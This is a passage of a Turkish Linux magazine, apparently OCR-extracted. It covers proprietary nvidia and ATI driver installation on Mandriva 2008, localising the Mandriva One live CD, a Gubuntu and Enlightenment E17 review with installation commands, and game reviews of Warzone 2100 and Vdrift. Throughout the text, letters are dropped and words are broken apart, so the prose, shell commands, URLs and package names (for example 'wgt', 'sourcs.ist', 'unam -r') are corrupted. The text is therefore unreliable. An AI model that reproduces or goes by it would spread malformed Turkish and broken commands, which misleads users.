/D AĞ ITIM /K ULLANIM ğ iniz k om ut s atır ı is t s i v ri c k tir. Bu s atır ı t k r t k r bir k ons o a k s ip yapıştırak k u andığ ınızda, yaptığ ınız s çim uygun o ak is t diğ iniz p f k aynak ı s is t m izin k n c k v buradak i pak t r pak t yön ticis i i k o ay ık a k u anı abi ir h a g c k tir. İ k adım da, M andriva Linux s ürüm ünüz v k u andığ ı iş m ci tipi b ir n c k. (R s im 4) İk inci adım da s is t m k m k is t diğ iniz k aynak v bun ın yans ı s çim i yapı acak. (R s im 5) Son adım da is s çim riniz uygun o ak o uşturu an k om ut s atır ı is t n c k tir. (R s im 6) Eas yurpm i acı i s is t m iniz m ain, contrib v non-fr a an ını da k y bi irs iniz. Ancak buna M andriva aç ı i k aynak ı k m niz durum unda h iç g r k yok tur. Bu yönt m ya nızca PLF k aynak ı k nm idir. nvidia v Ati s ürücü ri M andriva Linux 'Fr - Özgür' o an bir k aynak tan k uru duğ unda, is ans ı GPL o m ayan nvidia v Ati s ürücü ri y rin 'v s a' ya da 'fram buff r' s ürücü ri k uru ur. E b tt bu s ürücü rin donanım s ah ız andırm ayı k u anm a öz ik ri bu unm am ak ta v yavaş ça ışm a ının yanıs ıra bazı program da k u anı am am ak tadır. Bu s ürücü rin k uru m as ı için yapı m as ı g r k n iş m is as ında yuk dak i d po ın ay anm as ı gibi çok bas it bir iş m dir. G r k i pak t r Non-Fr d po ında o duğ u için i k şt o ak int rn t pak t k aynak ının ay anm as ı g r k m k t dir, k i bu as ında tüm M andriva k u anıcı ının yapm as ı g r k n bir iş m dir. M andriva İpuç ı - I Pak t k aynak ı ay andık tan s onra M andriva D n tim M rk zi ça ıştırı ak D onanım s ayfas ındak i 'Grafik Sunucuyu Ay a' acı k u anı ır. Burada grafik k tınızın b irti diğ i n üs tt k i giriş tık anak açı an s ayfada grafik k tınız çok büyük bir o as ı ık a s çi i o ak g c k tir. Bu s çim i k abu ttiğ inizd s iz k tınız için 'k apa ı k aynak k od u - propriat ry' bir s ürücü d o duğ u v bunu k u anm ak is t yip is t m diğ iniz s oru acak tır. Buna v t diy c vap v rdiğ inizd int rn t k aynak ından k tınız için g r k n pak t r indiri c k, k uru acak v g r k i ay am a yapı ak s is t m iniz k u anım a h azır h a g tiri c k tir. Bi gis ayınızı ya da X ortam ını y nid n baş attığ ınızda y ni s ürücünüz d vr y girm iş o acak tır. nak k od ının ya da k aynak k od ına ait h ad r dos ya ının da yük ü bu unm as ı g r k m k t dir. Yapı an iş m s ıras ında s iz h angi k aynak k odun indiri c ğ i s oru duğ unda yuk dak i k om ut i öğ r ndiğ iniz ç k ird k s ürüm ünü doğ ru o ak s çm niz g r k c k tir. Ayrıca dk m s s is t m ini k u anan m odü ünüz vs a ç k ird k günc m rind günc n n ç k ird ğ ait ç k ird k k aynak g iştirm k od ı pak tini d (k rn -d v ) yük m is iniz. Ç k ird k s ürüm num a andırı m as ının biçim ind n do ayı bu iş m günc m rd doğ ru o ak ça ışm adığ ı için s onu - at s t o an bir r 'acı' pak t k u anı m ak tadır. Bu pak t rin öz iğ i k ndi ri günc ndiğ ind bağ ı o duk ı pak tin d günc nm s ini s ağ am a ıdır. H ps i bu! Yani, orada burada h angi s ürücüyü k urayım, h angi dos yayı indir yim diy do anm anıza h iç g r k o m adan iş m iniz tam am anacak tır. krn-aptop-atst krn-aptop-dv-atst İş m as ında bu k ad bas it o m ak a bir ik t k a p anda n o duğ unu bi m k y ı o acak tır. nvidia ya da Ati s ürücü ri bir r 'ç k ird k m odü ü'dür. Bu n d n k uru acak pak t r k u andığ ınız ç k ird ğ gör b ir n c k tir. M andriva Linux 2008 i dört fk ı s tandt ç k ird k bu unm ak tadır: d s k top, d s k top586, aptop v s rv r. Sis t m iniz uygun ç k ird k k uru um s ıras ında b ir nir v yük nir. H angi ç k ird ğ i k u andığ ınızı aşağ ıdak i k om ut i öğ r n bi irs iniz: $ unam -r 2.6.22.9-aptop-1mdv M andriva bu ç k ird k m odü ri için dk m s s is t m ini k u anm ak tadır (D KM S s is t m i için bk z: nixm a Ek im 2006) Bu n d n s is t m in k u anı abi m s i için k u anı an ç k ird ğ in k ay- Bu pak t r k uru duğ unda y ni bir ç k ird k günc m s ind h m y ni ç k ird k pak ti o an k rn - aptop-xxx h m d onun k aynak k od ı g iştirm pak ti k rn - aptop-d v -xxx yük n c k tir. D KM S s is t m i k u anı dığ ında ç k ird k günc m s inin dından y ni ç k ird k i s is t m baş adı dığ ında m odüo ak k u anı an nvidia ya da Ati s ürücü ri y ni ç k ird ğ gör d r n r k k u anı acak dır. Bunun a bir ik t y ni ç k ird ğ gör h azır o ak d r nm iş m odü ri bu unduran pak t r d k uru abi ir. Bun nvidia96xx-krn-2.6.22.9-dsktop-1mdv nvidia96xx-krn-2.6.22.9-dsktop5861mdv nvidia96xx-krn-2.6.22.9-aptop-1mdv nvidia96xx-krn-2.6.22.9-srvr-1mdv fgrx-krn-2.6.22.9-dsktop-1mdv fgrx-krn-2.6.22.9-dsktop586-1mdv Sayfa 11
/D AĞ ITIM /K ULLANIM M andriva İpuç ı - I fgrx-krn-2.6.22.9-aptop-1mdv fgrx-krn-2.6.22.9-srvr-1mdv Günc m için - at s t pak t ri: gibi pak t r o ak k şım ıza çık. Bun ın da - at s t tipi günc m yi k o ay aştıracak pak t ri bu unm ak tadır. H m nvidia h m d Ati için bird n faz a s ürücü bu unm ak tadır. Ati için fg rx v y ni m od r için fg rx-h d2000 pak t ri, nvidia için is üç fk ı k at gorid k u anı m ak üz r nvidia71xx, nvidia9 6xx v nvidia-curr nt pak t ri bu unm ak tadır. Bu pak t r k ran k tınızın öz ik rin bağ ı o ak M andriva acı tafından otom atik o ak s çi m k t dir. Bu otom atik b ir m iş m ind pak ti i s ağ anan is t k u anı m ak tadır. Öz ik s on m od k ta s ah ip o an için k tın y ni s ürücüs ü vs a doğ ru o ak a gı anm as ını s ağ am ak üz r bu pak tin günc nm s i g r k m k t dir. H m nvidia h m d Ati için 'back ports ' d po ında günc s ürücü pak t ri bu unm ak tadır. Bu pak t rin k u anı abi m s i için back ports d po ının ak tif h a g tiri m s i v buradan d t ct- s t pak tinin günc nm s i s onras ı M andriva D n tim M rk zi içind n s ürücü ayı yapı m as ı g r k bi ir. o ak aşağ ıdak ini unam -r 2.6.22.12-aptop-1mdv 2.6.22.12- aptop ç k ird ğ i için dk m s için yük n c k g iştin pak ti: krn-aptop-dv-2.6.22.12-1mdv 9 6xx nvidia pak t ri: dkms-nvidia96xx nvidia96xx-krn-2.6.22.12-aptop-1mdv nvidia96xx-krn-aptop-atst Burada i k pak tin k rn g iştirm pak ti i bu unm as ı durum unda s on ik inciy g r k yok tur. O n CD K uru um unu Türk ç ştirm dtct-st G n an atım a bir örn k gös t r bi iriz. krn-aptop-atst krn-aptop-dv-atst s is t m i M andriva O n s as o ak Liv CD -Ça ışancd o ak k u anı m ak üz r tas anm ış bir dağ ıtım biçim idir. Ancak bu CD 'd n ça ışm a s ıras ında k uru um da yapı m as ı m üm k ündür. M andriva O n CD ' r m üm k ün o duğ u k ad çok bi gis ayda d ğ işik donanım da ça ışm aya uygun o acak ş k i d g r k bi c k çok m ik tda s is t m k aynağ ı i i gi i pak t ri d k aps. M andriva O n CD ' ri 'Fr ' türd n d ğ i dir. Yani içind is ans ı GPL o m ayan nvidia, Ati s ürücü ri gibi pragram ı da bu undurur. Bunun s ay s ind bu k t a s ah ip o an Liv CD o ak ça ıştırırk n bi Com piz-fuzion öz ik rini k u anabi ir r. H r n k ad O n CD ' rd n k uru um yapı abi s d, bu iş m CD S ti ya da D VD k aynağ ından k uru um dan çok fk ıdır. Bu k aynak tan k uru um yapı dığ ında CD üz rind v o an bütün pak t r, g r k s d g r k m s d k uru acak tır. Bu n d n dah a s onra bazı ay yapı m as ı g r k m k t dir. En büyük fk ı ık is, s ınır ı h acim n d niy O n CD ' rin s ınır ı s ayıda di d s t k v r bi iyor o m as ıdır. N yazık k i bu di r as ında Türk ç y r a m am ak ta. Bunun s onucu o ak da k uru um önc İngi izc yapı m ak ta v dah a s onra türk ç ştirm k g r k m k t. Kuru um s ıras ında f k avy, zam an bö g s i gibi bazı s çim ri yapabi iyoruz. Sis t m in türk ç ştiri m s i için is birk aç iş m yapm ak g r k iyor. Önc ik oca s -tr v bağ ım ı pak t ri k uru m a ı. Bu pak tin k uru um u i s is t m d Türk ç y r ştirm ay ı yapı abi ir h a g c k tir. Pak t k uru duk tan s onra KM nü > Araç > R giona S ttings yo u iz n r k Türk ç v Türk iy i i gi i s çim r yapı ak s is t m in Türk ç 'y uygun o m as ı s ağ anır. Ancak bu y t r i d ğ i dir. Ku anı an KD E v diğ r program ın -tr uzantı ı Türk ç d s t k pak t rinin d yük nm s i g r k c k tir. Bunun n k o ay yo u yazı ım yön ticis ind -tr atm ak v is t ni n pak t ri s ç r k k urm ak tır. Bu pak t r as ında i k ak a g bi n r aşağ ıdak i r gibidir: kd-i18n-tr opnoffic.org-10n-tr mozia-firfox-tr mozia-thundrbird-tr koffic-10n-tr Bütün bu pak t r k uru up s is t m y nid n baş atı dığ ında büyük oranda Türk ç şm iş bir s is t m d d c k s iniz. Ancak yin d O n CD 'd n k uru um y rin CD s ti ya da D VD 'd n k uru um u ön ririz. Tanju Taşçı <tanju@ nixm a.org> Sayfa 12
/D AĞ ITIM /TANITIM G ub untu G ub untu En igh t nm nt i Ub untu G ç n ay yayın anan F uxbox v F uxbuntu yazıs ından s onra bu ay, Linux'ta fk ı dağ ıtım v fk ı m as aüs t ri d n m k is t y n k işi r için h azır anm ış, başk a bir tanıtım yazıs ı ok uyacak s ınız. Bu ayk i yazım ızın k onus u En igh t nm nt D R 17 m as aüs tü ortam ını k u anan v Ubuntu taban ı bir dağ ıtım o an G ubuntu. G ubuntu İta yan tis t Luca D M ini tafından baş atı m ış, m as aüs tü v dizüs tü bi gis ay için, m ük m m k u anış ı bir iş tim s is t m i yatm ak için h ayata g çiri n proj nin bir ürünü... G ubuntu i k k z G ubuntu 7.04 Prim a Luna s ürüm adıy a yayın anm ıştı. 2007 Ara ık ayında da, ik inci s ürüm ü o an 7.10 Luna Nova s ürüm ü duyuru du. D ik k at di irs, G ubuntu'nun s ürüm num a ı, Ubuntu taban ı o duğ u için, Ubuntu'nun s ürüm num a ını tak ip diyor. G ubuntu h ak k ında dah a ayrıntı ı bi gi r g çm d n önc, k u andığ ı En igh t nm nt m as aüs tü ortam ı h ak k ında bi gi s ah ibi o m am ız g r k iyor. En igh t nm nt D R 17 N dir? En igh t nm nt D R 17, UNIX için yazı m ış, EFL (En igh t nm nt Foundation Libri s ) k ütüph an rini k u anan, 'g c k k uşak ' bir m as aüs tü ortam ıdır. T m ri 19 9 6 yı ında atı an En igh t nm nt, h nüz k ı d ğ i dir, fak at s iz tam an am ıy a bir m as aüs tü ortam ı s ağ. Bir m as aüs tünün an am ı, bir p nc r yön ticis i, bir dos ya yön ticis i v p k çok ydım cı aç d m k tir. Bun bir m as aüs tü ortam ını o uşturan, birbirind n ayrı m az pça dır. İşt En- R s im 1 - G ub untu m as aüs tü g n görünüm igh t nm nt D R 17 (D v opm nt R as ) bun ı biz s ağ. Ş im di En igh t nm nt D R 17'nin (E17) öz ik rin bak a ım. Sayfa 13
/D AĞ ITIM /TANITIM 1- Yük s k P rform ans : E17 h ız ıdır. Ev t, g rç k t n h ız ı. 100 M h z' ik iş m ci v 64 M gabayt b k i bi gis ay da bi, y t r i v rim a ınabi m iştir. Eğ r bi gis ayınız g rç k t n düşük öz ik r s ah ips, s izin göz h oş görün n, m od rn m as aüs tü ortam ına ih tiyacınız yok tur. Bu durum da v rim i ttırm ak için, Configuration Pan 'd n, s is t m ay ını v çok dah a faz as ını d ğ iştir bi irs iniz. 2- Göz H oş Görün n Öz ik r: Eğ r bi gis ayınız g rç k t n düşük öz ik t d ğ i s, E17 m as aüs tünd, bi gis ayınızdan yük s k v rim a m ak için, göz h oş görün n bazı öz ik ri k apatm anız g r k m z. Ak s in bi gis ayınızdan yük s k v rim a ırk n, tüm göz h oş görün n öz ik ri k u anabi irs iniz. Bu göz h oş görün n öz ik r, anim as yon u boot k ranından ( ntranc ) baş, yin anim as yon u v ğ nc i t m a a d vam d r v nih ay t anim as yon u duv k ağ ıt ı i s ona r r. Anim as yon u duv k ağ ıt ı (anim at d gif) biraz büyük dos ya dır, fak at g rç k t n ğ nc idir r. H r s anam as aüs tünd ( n faz a 144 tan s anam as aüs tü tanım ayabi irs iniz.) anim as yon u v ya norm a, fk ı duv k ağ ıt ı k u anabi irs iniz. M nü r, p nc r k n ı v p nc r yön ticis in ait bu tüm k u anış ı öz ik r, w idg t d n n k üçük uygu am a a h azır anm ıştır. Unutm ayın, bütün bu göz h oş görün n p nc r k n ı, s im g r v duv k ağ ıt ı, fk ı t m a a d ğ iştiri bi ir. 3- D os ya Yön ticis i: E17'nin zat n bir dos ya yön ticis i i g diğ ind n bah s tm iştik. Fak at E17 dos ya yön ticis i, h nüz k ı bir m as aüs tü ortam ı s ağ am ıyor. G iştiri m aşam as ında v tam am andığ ında göz h oş g n p k çok öz ik i bir ik t g c k. En igh t nm nt Fi M anag r i şim di ik k s m, k opya am a, yapıştırm a gibi bas it dos ya iş m ri yapı abi ir. G ub untu Bu s b p E17 k u anan p k çok Linux dağ ıtım ında, Th un, Rox Fi r, Em FM gibi fk ı dos ya yön tici ri k u anı ıyor. 4- M as aüs tü Ay ı: E17'nin p k çok öz iğ ini d ğ iştir bi irs iniz. Configuration Pan 'ind n baş-ta t m anızın k u andığ ı duv k ağ ıdı, font, k ran çözünür üğ ü, dizüs tü bi gis ay da pidurum u, k avy v f ay ı, En igh t nm nt di ay ı o m ak üz r, 36 fk ı öz iğ i d ğ iştirm k m üm k ün. Siz y t r k i, Configuration Pan 'd n bu öz ik ri d ğ iştirm k is t yin. O is t diğ iniz h r d ğ işik iğ i yapacak tır. 5- Y r ştirm : E17 başta İngi izc, Frans ızca, Rus ça, Bu gca, Kor c, Çinc v Japonca o m ak üz r, 20 di d s t k v rm k t dir. Configuation Pan 'd di ay ını d ğ iştirdik t n s onra, y ni di i k u anm ak için En igh t nm nt'i v ya X s unucus unu y nid n baş atm ak y t r i. 6- M odü r: Ş im diy k ad En igh t nm nt D R 17'nin p k çok öz iğ ini s ıra adık. Fak at n ön m i öz iğ i, s onradan k n bi n v k a dırı abi n, k u anış ı m odü ridir. M odü r E17 için, k üçük uygu am a dır. H ava durum unu gös t r n m odü d n, tak vim m odü ün ; s s k ontroay ını yapan m odü d n, dos ya am a m odu ün k ad p k çok k u anış ı m odü, k u anıcı için h azırdır. Bir m odüg iştirm k s anı dığ ı k ad zor d ğ i. Sad c biraz program am a bi gi v b c ris i g r k tirir. E17'd bu unan diğ r öz ik ri is k ıs aca şöy s ıra ayabi iriz. Pag r - Sanam as aüs t rini bağ am a acı ib - O rtak uygu am a ı gös t rm acı ibox - O rtak uygu am a ı k üçü tm acı D rops h adow - İpta di n uygu am a ın yön tim ini s ağ ayan aç C ock - Ana og s aat Batt ry - D izüs tü bi gis ay için batya m onitörü CPUFr q - D izüs tü bi gis ay için CPU m onitörü T m p ratur - D izüs tü bi gis ay için s ıcak ık m onitörü En igh t nm nt k u anan bazı Linux dağ ıtım ı da şun dır: *go S *E iv *E buntu *G ubuntu *Gob inx *U tim a Linux *Y ow D og Linux G ub untu K uru um u v K u anım ı H ak k ında Bazı İpuç ı Bi gis ayım ıza G ubuntu k urm anın ik i yo u v. Birinci yönt m, s abit dis k im izd Ubuntu taban ı bir iş tim s is t m i k uru u is, Ubuntu üs tün g ubuntu-d s k top k urm ak. İk inci yönt m d k uru um cd's i i t m iz bir k uru um yapm ak. Z at n s abit dis k im izd Ubuntu v ya tür vi bir iş tim s is t m i vs a, birinci yönt m i t rcih d bi iriz. Bunun için, aşağ ıdak i k od ı uygu aya ım. Bu ada bu yönt m Ubuntu 7.10 Guts y Gibbon üz rin, G ubuntu 7.10 Luna Nova k urm ak içindir. Ubuntu 7.04 F is ty Faw n k u anan, k od da g ç n guts y k im ri y rin f is ty k u ans ın. Böy c on da G ubuntu 7.04 Prim a Luna k uru um u g rç k ştirm iş o acak. Sayfa 14
/D AĞ ITIM /TANITIM G ub untu wgt http://ut1n.ifranc.com/rpo_ky.asc wgt http://downoad.tuxfamiy.org/gubuntu/g utsy/gu-ky.ky sudo apt-ky add rpo_ky.asc sudo apt-ky add gu-ky.ky Bu k od a, g ubuntu k urm ak için g r k i d po adr s rin ait, gpgk y dos ya ını int rn tt n indirdik v apt-g t' k dik. D ah a s onra aşağ ıdak i k om ut i s ourc s. is t dos yam ıza g r k i d po adr s rini k y c ğ iz. sudo gdit /tc/apt/sourcs.ist Ş u ik i adr s i s ourc s. is t dos yas ına k m m iz g r k iyor. ## Gubuntu db http://17.dunnwind.nt/ubuntu gutsy 17 db http://downoad.tuxfamiy.org/gubuntu/ gutsy/ Nih ay t, pak t is t m izi y ni y im um u g rç k ştir im. v büyük ük t. Bu cd aynı zam anda, Ubuntu'da o duğ u gibi, Liv cd o ak da k u anı abi iyor. Liv cd i bi gis ayı açk n, F2 v F3 tuş ı i, k u anacağ ım ız di i, k avy tipini v k ran çözünür üğ ünü s ç bi iyoruz. Ku anı abi c k di r as ında Türk ç d v. Bu ada g r k irs, k u anıcı adım ız 'g ubuntu' v şifr m ız d yin 'g ubuntu'. Ubuntu taban ı o an G ubuntu, k uru um dan s onra, bi gis ayım ızdak i tüm donanım ı doğ ru o ak tanım ış, dis k ri s is t m bağ am ış v k u anım a h azır bir ş k i d bizi b k iyor o acak. Fak at aynı Ubuntu'da o duğ u gibi m dya k od k ri h azır g m iyor. Fi m oynatm ak v m üzik Liv cd i bi gis ayı açtık tan s onra, bi gis a- din m k için g r k i k od k rin s onradan k uyım ıza k urm ak için, m as aüs tünd k i inta ru m as ı g r k iyor. Bu da, Ubuntu'nun pak t s im g s in tık adığ ım ızda, s abit dis k k urm a yön tim s is t m i s ay s ind s on d r c k o ay bir iş m i baş ıyor. Bu aşam ada dah a önc d n iş m. Bu ada i k k uru duğ unda 9 0 m gas abit dis k i bö üm m iş o m ak v k uru um için bayt ık bir günc m nin bizi b k diğ ini d boş bir bö üm bu undurm ak büyük k o ay ık b irt im. s ağ ıyor biz. Kuru um iş m i aynı Ubuntu k uru um undak i gibi. Sad c 6 adım da k uru um iş m i tam am anıyor. Kuru um s ıras ında Türk ç didos ya ı int rn tt n indiri diğ i için, düzgün bir Türk ç d s t ğ i için, int rn t bağ antıs ı g r k iyor. D ah a önc bir Linux dağ ıtım ı k urm uş o an, am a öz ik d önc d n Ubuntu k urm uş o an, k o ay ık a G ubuntu'yu da k ura- k uru- sudo aptitud updat sudo aptitud upgrad sudo aptitud insta gubuntu-dsktop G ubuntu k urm anın ik inci yo u is, dah a önc d b irti diğ i gibi, bir k uru um cd's ind n k urm ak tır. Bu yönt m i öz ik, s abit dis k inizd Ubuntu taban ı bir iş tim s is t m i k uru u d ğ i s, t rcih d bi irs iniz. G ubuntu 7.10 Luna Nova, k uru um cd's ini, yazım ızın s onunda y r a an indirm ink rind n indir bi iriz. G ubuntu 700 m gabayt boyutu i bir cd'y s ığ acak cak dır, dis k rin. Ubuntu v tür v ri, k uru um u n k o ay o an Linux dağ ıtım ındandır. R s im 3 - M nü r R s im 2 - Ub untu tab an ı G ub untu G ubuntu'yu i k açtığ ım ızda, E17 m as aüs tü v Suns h in t m as ı bizi k şı ayacak. G ubuntu'da Linux 2.6.22 k rn i k u anı m ış. G ubuntu, Ubuntu taban ı am a h azır g n program da bazı fk ı ık v. En başta, Ubuntu'nun i k k uru m uş h a in gör dah a faz a program i bir ik t g diğ ini s öy y bi iriz. H azır g n program dan bazı ı şun : Pak t yön ticis i Sayfa 15
/D AĞ ITIM /TANITIM o ak Apt-g t v Synaptic, dos ya yön ticis i o ak Th un, int rn t için Fir fox, Th und rbird v Pidgin, m dya için Bras ro, M pay r v VLC, ofis pak ti o ak Abiw ord, Gnum rik v O p n O ffic W rit r. Tabii k i, Synaptic pak t yön ticis i i çok dah a faz a program k urm ak m üm k ün. Z at n G ubuntu, Ubuntu 7.10 pak t d po ını k u anıyor. Bu d po da da 23 bind n faz a pak t u aşm ak m üm k ün. G ub untu dirm gibi p k çok öz ik, aynı ş k i d k ran çözünür üğ ü, k avy tipi, m nü r, k u anı an di... Bütün bu öz ik ri Configuration Pan i d ğ iştirm k m üm k ün. Bunu KD E m as aüs tünd k u anı an k contro 'a (Kontro M rk zi) v ya Gnom 'da k u anı an Sis t m m nüs ün b nz tm k m üm k ün. H azır Configuration Pan 'd ik n, biraz k u andığ ım ız t m a ı v ya duv k ağ ıt ını d ğ iştir im. Anim as yon u duv k ağ ıt ı v birbirind n fk ı t m a a bir ik t, E17'nin göz h oş g diğ ini, birk aç f tık am as ıy a, m as aüs tünün görüntüs ünün bird n d ğ iştiğ ini gör c k s iniz. Unutm adan, int rn tt dah a p k çok E17 t m as ının bu unduğ unu v bun ı rah at ık a k urabi diğ im izi d b irt im. m odü ri, a m ı s aat, dizüs tü r için iş mcinin ça ışm a fr nk as ını gös t r n m odü ü, b k durum unu v -pos ta g diğ ind biz h ab r v r n m odü ri, rs s ok uyucus unu, ayın durum unu gös t r n m odü gibi p k çok m odü ü s ayabi iriz. H atta bu yazıda görün n k ran görüntü ri d, böy bir m odüi ç k i m iştir. R s im 6 - D rops h adow R s im 4 - Fir fox G ubuntu, Ubuntu taban ı o duğ u için, dah a önc Ubuntu k u anm ış k işi r, rah at ık a G ubuntu da k u anabi ir r. D ah a önc Ubuntu k u anm am ış k işi rin d faz a zor anacak ını zann tm iyoruz. Bu s b p, yazım ızın bundan s onrak i k ıs m ında, dah a çok E17 m as aüs tün h as v diğ r m as aüs t rind bu unm ayan öz ik ri inc y c ğ iz. E17 m as aüs tünün p k çok öz iğ i Configuration Pan i d ğ iştiri bi iyor. Ku anı an t m a, duv k ağ ıdı, r nk r, font, p nc r k n ı, s im g v f t m a ı, gö g n- Ek ranın n a t k ıs m ında da s h f d n n bir pan y r a m ak ta. Bu pan i, bazı uygu am a ı ça ıştırabi ir, ça ıştırı an uygu am a as ında g çiş yapabi ir v m odü ri yön t bi iriz. Tabii k i, is t rs k başk a s h f' r yatm ak v bun ı k ranın fk ı k ıs ım ına y r ştirm k d m üm R s im 5 - Configuration Pan k ün. Bunu da Configuration/Sh v s m nüs ü i k o ayca yapabi iriz. G ubuntu i k k uru duğ unda, Configuration/M odu s m nü yo u i d, E17 m as aüs tünd bir s im g y r a m ıyor. Progm as aüs tün h as bir öz ik o an M odü r mram ı s otuş m nüs ü i ça ıştırıyoruz. Ancak nüs ün u aşı ıyor. Burada, yazım ızın üs t k ıs ım fk ı sh f' r yatak, bun ı k ranın is t ında an attığ ım ız m odü ri s is t m k iyor n n y r rin y r ştirip, bun ı s im g o ak v ya k a dırabi iyoruz. Bu m odü r a ttak i pan k u anm ak da m üm k ün. tafından yön ti iyor. Ku anabi c ğ im iz m odü r as ında k rana k v yağ m ur yağ dıran Sayfa 16
/D AĞ ITIM /TANITIM G ub untu R s im 7 - Sh v s Görü düğ ü gibi G ubuntu, görs ik t n ödün v rm d n fk ı bir Linux d n yim i yaşam ak, bu ada da Ubuntu k u anm ak is t y n k işi r için id abir iş tim s is t m i. R s im 9 - R d t m as ı v 'rain' m odü ü Yazı i i gi i W b adr s ri R s im 8 - M oon igh t t m as ı G ubuntu Ev Sayfas ı: h ttp://g ubuntu.inti inux.com /H om.h tm En igh t nm nt Ev Sayfas ı: h ttp://w w w. n igh t nm nt.org/ E17 T m a ı: h ttp://w w w. 17-s tuff.org/ E17 T m a ı: h ttp://w w w 0.g t-.org/th m s /E17/ Ati a D uru <ati a@ nixm a.org> Sayfa 17
/O YUN W zon 2100 W zon 2100 Üç b oyut u s trat ji oyunu "Çpışm a h ız ı v s rt o du. Uydu güv n ik s is t m ind k i h ata i nük r füz r, W as h ington, P k in v M os k ova'ya doğ ru at ş ndi. Birk aç dak ik a içind y r s avunm a s is t m ri aynı k şı ığ ı v rdi r. M i yon ca ins an nük r fırtına da yok o du. M i y cas ı is s a gın h as ta ık n d niy h ayatını k ayb tti v D ünya üz rind k uru u uyg ık yok o du. Çpışm adan k urtu up h ayatta k a an bir m i yon k ad ins an ç şit i y r rd grup h a ind top anak, s k i m d niy tt n k a an için birbir riy s avaşa tutuştu." O yunun s rüv ni g c ğ in bu dünyas ında bi inm y n bir y rd g çiyor. Am aç p troyatak ını g çirm k v düşm an ı yok tm k tir. D üşm an ı y ndik ç y ni h ita çık ıyor. Y ni h ita çık tık ça düşm an a, y ni s avaş aç ınız a s avaşıyors unuz. Aynı zam anda düşm an da s izin aynı t k no ojid i r iyor. O yun k o aydan zora gitm s iy dah a da z vk i bir h a g iyor. R s im 2 - Sanapanızın m ik tı W zon 2100 3 boyut u v g işm iş s trat ji oyun ındandır. Yapım y ri 19 9 9 Pum pk in Stüdyo ı'dır v idos tafından yayın anm ak tadır. Bu proj nin k aynak k odu k apa ıydı ancak 6 a ık 2004 t n s onra, t if h ak k ı Eidos Int ractiv (m inus th FM Vs ) ad ı şirk tin o m ak üz r, tam am iy GPL is ans ına g çti. R s im 1 - W zon 2100, s avaş a anı Sayfa 18
/O YUN 'Sing p ay r cam ping'i s çtiğ inizd s iz 4 tank, 2 tan d inşaat acı v riyor. B i bir m ik t da pa v ri iyor. Bu panın m ik tını is R s im - 2'd görüyoruz. W zon 2100 5 =»Aracın at ş m k anizm as ını s çiyors unuz. 6 =»Bütün ay ı yaptık tan s onra oyuna dönüyors unuz. Aracın dah a iyi o m as ı için pça ın s ağ am ık v gücün bak ın. 4'üncü s ç n ğ tık ayak y ni acınızı fabrik adan çık tabi irs iniz. 2'inci s ç n k t is ç şit i bina bu unm ak tadır. R s im 3 - Ay Bu m ik t d vam ı yük s k o m ak zorunda. Yok s a inşaat v aç yapım ı yavaş. D vam ı pa k azanm ak için p tro yatak ını g çirm is iniz. K ndiniz ait p tro rafin riniz o m a ıdır. P tro ü iş y bi m k için d n rji binas ı yapı m a ıdır. Binanın is m i oyunda pow r g nator diy g çiyor. Z am an i r dik ç y ni aç çık ıyor. Y ni tank ı o uştum ak için üçüncü s ç n ğ i k u anın. M avi tank s im g s in tık ayın. (Bir diy iş t i o an) 1 =»Burada y ni acınızı yatm ak için tık ıyors unuz. 2 =»Burada s avaş acının t k r iğ ini yapıyors unuz. 3 =»Burada 2, 4 v 5 s ç n k rinin s çim ini yapıyors unuz. 4 =»Aracın gövd s ini s çiyors unuz. D üşm an i k s viy d k ndis ini s avunur. Ü çüncü bö üm d n s onra is d vam ı s a dırır. D üşm an t k no ojis ini d vam ı g iştirir. K ndis ini k orum ak için duv v s avaş k u ri yap. Bu gibi aç ı yapm ak için 3'üncü s ç n k t k i t k no oji ri s ür k i günc m is iniz. Savaş aç ının y ni pça ı bu s ay d o uşur. Birinci s ç n ğ i k u anak y ni s avaş aç ını yaps ınız. S ç n k 2'd, at ş k u ri, yük s k duv v as k r r yapabi irs iniz. O yunun k ran ayını d ğ iştirm k is tiyors anız k ons o da $ wzon2100 --rsoution cozunuruk k om utunu k u anabi irs iniz. "cozunur uk " yazan k ıs m a uygun gördüğ ünüz çözünür üğ ü yazın örn: 1024x768 $ wzon2100 --rsoution 1024x768 Kons o da s ür k i bu ş k i d yapm ak y rin diğ r yo u da d n y bi irs iniz. O yunun k ıs ayo unu m as aüs tün atın. Sağ tık ayın öz ik r > Uygu am a s k m s in g in. "Kom ut : "s atırında "w zon 2100" yaz. Aynı yuk ıdak i örn k t k i gibi wzon2100 --rsoution cozunuruk yazın. İş m i onay ayıp k apatın. Böy c oyunu R s im 4 - Savaş k ızıştığ ında orta ık k ışır h r açışınızda is t diğ iniz çözünür ük t o urs unuz. açm ış Anas ayfa : h ttp://w z2100.n t/ İndirm k için : h ttp://w z2100.n t/dow n oads.h tm Sis t m g r k s inim ri : gaw k > = 3.1.3 (on y n c s s y at bui d tim ) s d> = 1.2.8 s d -n t > = 1.2.5 op ng(optiona ) op na> = 20040817 ibvorbis > = 1.1.0 (optiona ) ibm ad > = 0.15 (optiona ) Ram azan Utk u <racih.19 @ gm ai.com > Sayfa 19
/O YUN Vdrift Vdrift Z oru s v n r... O tom obi inizi yış ortam ında k u anm anız o duk ça az bir o as ı ık ik n, s ana ortam da g rç ğ in m üm k ün o duğ u k ad yak ın o acak ş k i d ç şit i otom obi ri k u anm anız s on d r c k o aydır. Linux'ta otom obi s im ü atörü a anında i k ak a g n torcs ik n ik inci bir s ç n k o ak k şım ıza vdrift çık ıyor. Sayfa 20